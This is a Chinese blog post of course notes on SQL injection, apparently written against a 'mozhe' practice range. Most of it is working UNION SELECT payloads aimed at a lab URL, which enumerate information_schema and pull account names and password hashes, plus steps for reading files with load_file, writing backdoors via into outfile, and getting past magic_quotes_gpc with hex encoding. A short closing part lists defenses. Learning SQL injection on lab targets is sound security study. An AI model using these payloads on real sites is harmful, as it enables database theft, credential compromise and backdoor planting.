WEB漏洞—简要SQL注入(22号-23号)

前言:在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

 

SQL注入安全测试中危害:危害数据和网站权限

 大部分sql注入都是直接去对数据库里的数据进行操作,包括查询,更新,删除

某一些sql注入的时候,通过漏洞可以直接进行后门写入,有一些能获取权限,一些不能。

 

如何判断注入点

老办法:

id=1 and 1=1 页面正常

id=1 and 1=2 页面错误

可能存在注入点

新方法

id=1ahjdwo 页面错误

可能存在注入点

id=1asdjalj 页面正常

不存在注入点

若出现404错误或者跳转,说明网站对输入的东西有检测,这种情况大部分是没有漏洞的

 

数据库结构

数据库A

  表名

    列名

      数据

要获取数据,必须按部就班,从表名>列名>数据一步一步来,不能直接获取到数据

 

必要知识点

1.  在MySQL 5.0以上版本中,mysql存在一个自带的数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过它查询获取制定数据库下面的表名或者列名信息。

2.   数据库中符号“.”代表下一级,如xiaodi.user表示xiaodi下的user表名。

information_schema.tables  记录所有表名信息的表

information_schema.columns 记录所有列名信息的表

table_name 表名

column_name 列名

table_schema 数据库名

 

查询指定数据库名mozhe_Discuz_StormGroup下的表名

124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询到表名StormGroup_member

查询指定表名StormGroup_member下的列名

124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

查询到列名id,name,password,status

从表StormGroup_member中查询name,password下的数据

124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,name,password,4 from StormGroup_member

查询到账号和密码

mozhe   356f589a7df439f6f744ff19bb8092c0

猜解多个数据采用limit x,1 变动猜解 x是变量

mozhe    e53f4512ea73eb2e23462f8e155245df

 

判断注入

猜解列名数量(字段数) order by x 错误与正确的正常值

http://124.70.22.208:41567/new_list.php?id=1 order by 4 

猜解准备:

http://124.70.22.208:41567/new_list.php?id=1 union select 1,2,3,4

http://124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,2,3,4

信息收集:(在mozhe靶场上实验)

数据库版本:version()     5.7.22-0ubuntu0.16.04.1

数据库名:database()      mozhe_Discuz_StormGroup

数据库用户:user()      root@localhost

操作系统:@@version_compile_os      Linux

文件读取操作

load_file()  读取函数

into outfile 或者 into dumpfile  导出函数

路径获取常见方法

报错显示,遗留文件,漏洞报错,平台配置文件,爆破

报错显示:一般是在网站出现错误时会泄露出文件路径

遗留文件:类似于phpinfo.php,一般是站长为了调试信息时遗留的文件,上面会遗留网站路径

平台配置文件:一般是固定路径,可以通过查找相应平台配置文件来查找路径,但修改后很难找到

爆破:以上情况搞不了时才操作。

用into outfile 或者 into dumpfile写入文件,可以借此写入后门文件

 

 

常见写入文件问题:

魔术引号开关magic_quote_gpc

若开关是On,则单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。可以在此处修改开关状态

采用hex(16进制)编码绕过,因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。

内置函数int:对输入的数字进行判断是否

if(is_int($id)){
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
}else{
	echo 'ni shi ge jj?';
}

自定义关键字:select

str_replace替换

直接上WAF!!!

 

posted @ 2023-05-22 12:29  执小汐  阅读(116)  评论(0)    收藏  举报